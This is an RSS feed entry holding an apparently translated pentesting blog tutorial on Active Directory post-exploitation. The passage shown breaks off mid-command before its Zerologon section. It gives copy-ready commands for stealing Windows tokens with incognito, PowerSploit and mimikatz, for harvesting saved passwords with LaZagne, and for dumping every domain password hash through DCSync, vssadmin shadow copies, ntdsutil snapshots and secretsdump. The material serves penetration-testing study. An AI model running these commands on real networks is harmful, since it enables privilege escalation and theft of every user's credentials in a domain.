<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Zerologon on MentalityXt</title><link>http://xtpol.com/tags/zerologon/</link><description>Recent content in Zerologon on MentalityXt</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Wed, 20 Nov 2024 10:08:00 +0800</lastBuildDate><atom:link href="http://xtpol.com/tags/zerologon/index.xml" rel="self" type="application/rss+xml"/><item><title>Active Directory Pentesting: Shadow Copies and CVE-2020-1472</title><link>http://xtpol.com/p/active-directory-shadow-copy-and-zerologon/</link><pubDate>Wed, 20 Nov 2024 10:08:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-shadow-copy-and-zerologon/</guid><description>&lt;p&gt;References&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://0range-x.github.io/2021/11/22/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://0range-x.github.io/2021/11/22/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1727748" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1727748&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/Captain_RB/article/details/120643838" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/Captain_RB/article/details/120643838&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="1-token-theft"&gt;&lt;a href="#1-token-theft" class="header-anchor"&gt;&lt;/a&gt;1. Token Theft&#10;&lt;/h2&gt;&lt;p&gt;I. What Tokens Do&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;A token is a temporary secret key used by the system. It is equivalent to an account and password, and determines whether a request is allowed and which user made it. It lets you access network and system resources without providing a password or other credentials. These tokens remain on the system until it is restarted.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The defining feature of a token is that it is random and unpredictable, so neither an attacker nor software can guess it. By impersonating a token, you can act as another user on the network and perform various operations. When an attacker needs domain administrator privileges, they therefore need to impersonate a domain administrator&amp;rsquo;s token.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;II. Types of Tokens&lt;/p&gt;&#10;&lt;p&gt;Access Token: a system object representing the subject of an access-control operation.&lt;/p&gt;&#10;&lt;p&gt;Session Token: the unique identity identifier in an interactive session.&lt;/p&gt;&#10;&lt;p&gt;Security Token: also known as an authentication token or hardware token, this is a physical device used to verify identity on a computer, such as a USB security key.&lt;/p&gt;&#10;&lt;p&gt;Windows AccessToken has two types:&lt;/p&gt;&#10;&lt;p&gt;Delegation Token: an authorization token that supports interactive session logons, such as a local user logging on directly or accessing the system through Remote Desktop.&lt;/p&gt;&#10;&lt;p&gt;Impersonation Token: an impersonation token used for non-interactive sessions, such as accessing a shared folder with net use.&lt;/p&gt;&#10;&lt;p&gt;Note: Both types of token are cleared only after a system restart. When a user with a Delegation token logs off, that Token becomes an Impersonation token and remains valid. Another way to think about it is that the system resources a process or thread can access depend on the privileges of its current token.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;At first, I didn&amp;rsquo;t understand why a token was necessary when I already had domain admin privileges. I found this explanation very helpful.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;The privileges we get through an exploit, EternalBlue, or similar methods are System privileges. If mimikatz and hashdump cannot recover the administrator user&amp;rsquo;s password, our only option is to steal a token and step down into the administrator user&amp;rsquo;s context. That gives us the administrator user&amp;rsquo;s shell, from which we can start certain services as that user (some services can only be started by the administrator user).&lt;/p&gt;&#10;&lt;p&gt;The important point is that System is already the highest privilege level, but some services still need to be started by administrator. We need the administrator shell, yet we do not have the password, so we use a token to step down. That is one scenario where this comes in handy.&lt;/p&gt;&#10;&lt;p&gt;You can also assume that the target server probably will not be restarted, since tokens are cleared only on restart.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;I haven&amp;rsquo;t managed to download and find the program online yet, so I&amp;rsquo;ll list the commands first. Other tools can replace it as well.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Method 1: incognito.exe&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Common commands:&lt;/p&gt;&#10;&lt;p&gt;List tokens: &lt;code&gt;incognito.exe list_tokens -u&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Because we do not have system privileges here, the listed tokens are very limited. Let&amp;rsquo;s switch to system privileges and take another look.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Steal a token: &lt;code&gt;incognito.exe execute -c &amp;quot;SUN\administrator&amp;quot; cmd.exe&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;incognito.exe execute [options] &amp;lt;token&amp;gt; &amp;lt;command&amp;gt;&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Method 2&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Its principles and features are similar to incognito, and it can actually elevate or lower privileges.&lt;/p&gt;&#10;&lt;p&gt;List tokens: &lt;code&gt;Invoke-TokenManipulation -Enumerate&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Elevate to system: &lt;code&gt;Invoke-TokenManipulation -CreateProcess &amp;quot;cmd.exe&amp;quot; -Username &amp;quot;nt authority\system&amp;quot;&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Copy a process token: &lt;code&gt;Invoke-TokenManipulation -CreateProcess &amp;quot;cmd.exe&amp;quot; -ProcessId 500&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Copy a thread token: &lt;code&gt;Invoke-TokenManipulation -CreateProcess &amp;quot;cmd.exe&amp;quot; -ThreadId 500&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Method 3&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Open a command prompt with SYSTEM privileges to simulate top-down access&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe -s -i cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View the current token&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Elevate privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate /domainadmin &#9;# Elevate to domain administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate /admin &#9;&#9;&#9;# Elevate to local administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate &#9;&#9;&#9;&#9;&#9;# Elevate to SYSTEM by default&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Restore the token&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::revert&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Restore the token&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="2-lazagneexe"&gt;&lt;a href="#2-lazagneexe" class="header-anchor"&gt;&lt;/a&gt;2. LaZagne.exe&#10;&lt;/h2&gt;&lt;p&gt;This one is incredibly powerful. Unlike most tools, it is not mainly about getting an administrator password; it is more about building a profile of a particular person.&lt;/p&gt;&#10;&lt;p&gt;Types of passwords it can retrieve:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Passwords saved by browsers&lt;/li&gt;&#10;&lt;li&gt;Saved WiFi passwords&lt;/li&gt;&#10;&lt;li&gt;Windows credentials&lt;/li&gt;&#10;&lt;li&gt;Email clients&lt;/li&gt;&#10;&lt;li&gt;Development tool configurations&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazagne.exe all # Retrieve all passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazagne.exe browsers # Retrieve browser passwords only&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lazagne.exe wifi # Retrieve Wi-Fi passwords only&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="3-shadow-copies-retrieving-all-hashes-from-a-domain-controller"&gt;&lt;a href="#3-shadow-copies-retrieving-all-hashes-from-a-domain-controller" class="header-anchor"&gt;&lt;/a&gt;3. Shadow Copies (Retrieving All Hashes from a Domain Controller)&#10;&lt;/h2&gt;&lt;p&gt;So what exactly is ntds.dit?&lt;/p&gt;&#10;&lt;p&gt;Ntds.dit is a binary file found on domain controllers in a domain environment. It is the primary Active Directory database, located at &lt;code&gt;%SystemRoot%\ntds\ntds.dit&lt;/code&gt; on the domain controller. Active Directory keeps this file open, so it cannot normally be read. Ntds.dit contains information including, but not limited to, domain users, groups, group memberships, credentials, and GPP. It holds the password hashes of every user in the domain. For additional protection, those hashes are encrypted with a key stored in the SYSTEM registry hive.&lt;/p&gt;&#10;&lt;p&gt;In a non-domain, or workgroup, environment, user passwords and similar information are stored in the SAM file. Decrypting either a SAM file or Ntds.dit also requires a System file. Like the SAM file, Ntds.dit is locked by Windows by default. These are also files we often need to export when using mimikatz.&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;code&gt;plain ntds.dit file location: C:\Windows\NTDS\NTDS.dit system file location:C:\Windows\System32\config\SYSTEM sam file location:C:\Windows\System32\config\SAM &lt;/code&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;There are several ways to export this file.&lt;/p&gt;&#10;&lt;h4 id="mimikatz-dcsync"&gt;&lt;a href="#mimikatz-dcsync" class="header-anchor"&gt;&lt;/a&gt;mimikatz-dcsync&#10;&lt;/h4&gt;&lt;p&gt;Prerequisite: high privileges&lt;/p&gt;&#10;&lt;p&gt;Mimikatz has a feature called dcsync, which can use the Directory Replication Service (DRS) to extract password hashes from the NTDS.DIT file.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;DCSync is&lt;/strong&gt; a feature added to mimikatz in 2015. It uses this principle to impersonate one domain controller and send a data synchronization request to another through the GetNCChanges interface of the Directory Replication Service (DRS). This can be used to export the hashes of every user in the domain.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;What DCSync really does:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Uses the DRS replication protocol&lt;/li&gt;&#10;&lt;li&gt;Requests the target data directly&lt;/li&gt;&#10;&lt;li&gt;Does not copy the NTDS.dit file&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz.exe lsadump::dcsync /domain:test.local /all /csv &#9;&#9;// Use DCSync to retrieve hashes for all users in the test domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz lsadump::dcsync /domain:test.local /user:admin&#9;&#9;// Retrieve details for a single user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz lsadump::lsa /inject&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::sam # SAM of the current system&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsadump::sam /system:system.hiv /sam:sam.hiv # Specify files&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="vssadmin-shadow-copies"&gt;&lt;a href="#vssadmin-shadow-copies" class="header-anchor"&gt;&lt;/a&gt;vssadmin Shadow Copies&#10;&lt;/h4&gt;&lt;p&gt;vssadmin is a command-line management tool for the Volume Shadow Copy Service on Windows. It can create and delete shadow copies, list shadow-copy information, display all installed shadow-copy writers and providers, and change the amount of storage allocated to shadow copies.&lt;/p&gt;&#10;&lt;p&gt;Supported systems: Windows 10, Windows 8.1, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2, Windows Server 2008&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vssadmin create shadow /for=C:&#9;&#9;&#9;&#9;&#9;&#9;&#9;// Create a shadow copy of drive C:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit&#9;&#9;// Copy ntds.dit from the created shadow copy to drive C:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM c:\sam.hiv&#9; // Copy sam.hiv from the created shadow copy to drive C:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;system.hiv is also required&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vssadmin delete shadows /for=c: /quiet&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decrypt ntds.dit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\secretsdump.py -ntds ntds.dit -system system.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decrypt SAM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If an error occurs, you will probably need to run&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip install cryptography==41.0.2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Note that the number in HarddiskVolumeShadowCopy1 changes; use the actual shadow-copy path.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Mimikatz primarily retrieves credentials for logged-on users&lt;/li&gt;&#10;&lt;li&gt;SAM retrieves hashes for local accounts&lt;/li&gt;&#10;&lt;li&gt;NTDS.dit retrieves hashes for the entire domain&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="ntdsutilexe"&gt;&lt;a href="#ntdsutilexe" class="header-anchor"&gt;&lt;/a&gt;ntdsutil.exe&#10;&lt;/h4&gt;&lt;p&gt;Ntdsutil.exe is a command-line tool that provides management facilities for Active Directory. It is installed on domain controllers by default and can be operated directly on a domain controller. It can also be used remotely against a domain controller from another domain-joined machine, though administrator privileges are required. With ntdsutil.exe, you can maintain and manage the Active Directory database, control single-master operations, create application directory partitions, and remove metadata left behind by a domain controller that was successfully demoted with the now-unused Active Directory Installation Wizard (DCPromo.exe), among other tasks.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil snapshot &amp;#34;activate instance ntds&amp;#34; create quit quit // First create a snapshot containing all Windows files; Windows locking does not affect copying from it&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil snapshot &amp;#34;mount {ID}&amp;#34; quit quit&#9; &#9;&#9;// Mount the snapshot just created&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;ntdsutil snapshot &amp;#34;mount {5d42befe-0029-4f76-b6d9-f87329ce8119}&amp;#34; quit quit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy C:\$SNAP_202411192306_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SYSTEM c:\system.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy C:\$SNAP_202411192306_VOLUMEC$\windows\System32\config\SAM c:\sam.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;//Copy the three files from the snapshot to the C drive.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;//Delete the snapshot we just created.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil snapshot &amp;#34;mount {5d42befe-0029-4f76-b6d9-f87329ce8119}&amp;#34; &amp;#34;delete {5d42befe-0029-4f76-b6d9-f87329ce8119}&amp;#34; quit quit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Besides using the approach above to retrieve ntds.dit, you can also use Ntdsutil.exe to create an Install From Media set (IFM) and extract the NTDS.dit file. When ntdsutil creates an IFM set, it automatically generates and mounts a snapshot, then copies ntds.dit and the computer&amp;rsquo;s SAM and SYSTEM files into the target folder. We can take advantage of this process to obtain the NTDS.dit file. Administrator privileges are required.&lt;/p&gt;&#10;&lt;p&gt;Ntdsutil is a command-line utility for working with Active Directory locally, and it enables DCPromo to create IFM sets. IFM is used with DCPromo to &amp;ldquo;install from media,&amp;rdquo; so the server being promoted does not need to replicate domain data over the network from another DC.&lt;/p&gt;&#10;&lt;p&gt;When an IFM is created, a VSS snapshot is automatically taken and mounted, and the NTDS.DIT file and related data are copied into the target folder.&lt;/p&gt;&#10;&lt;p&gt;Run the following commands on the domain controller:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntdsutil &amp;#34;activate 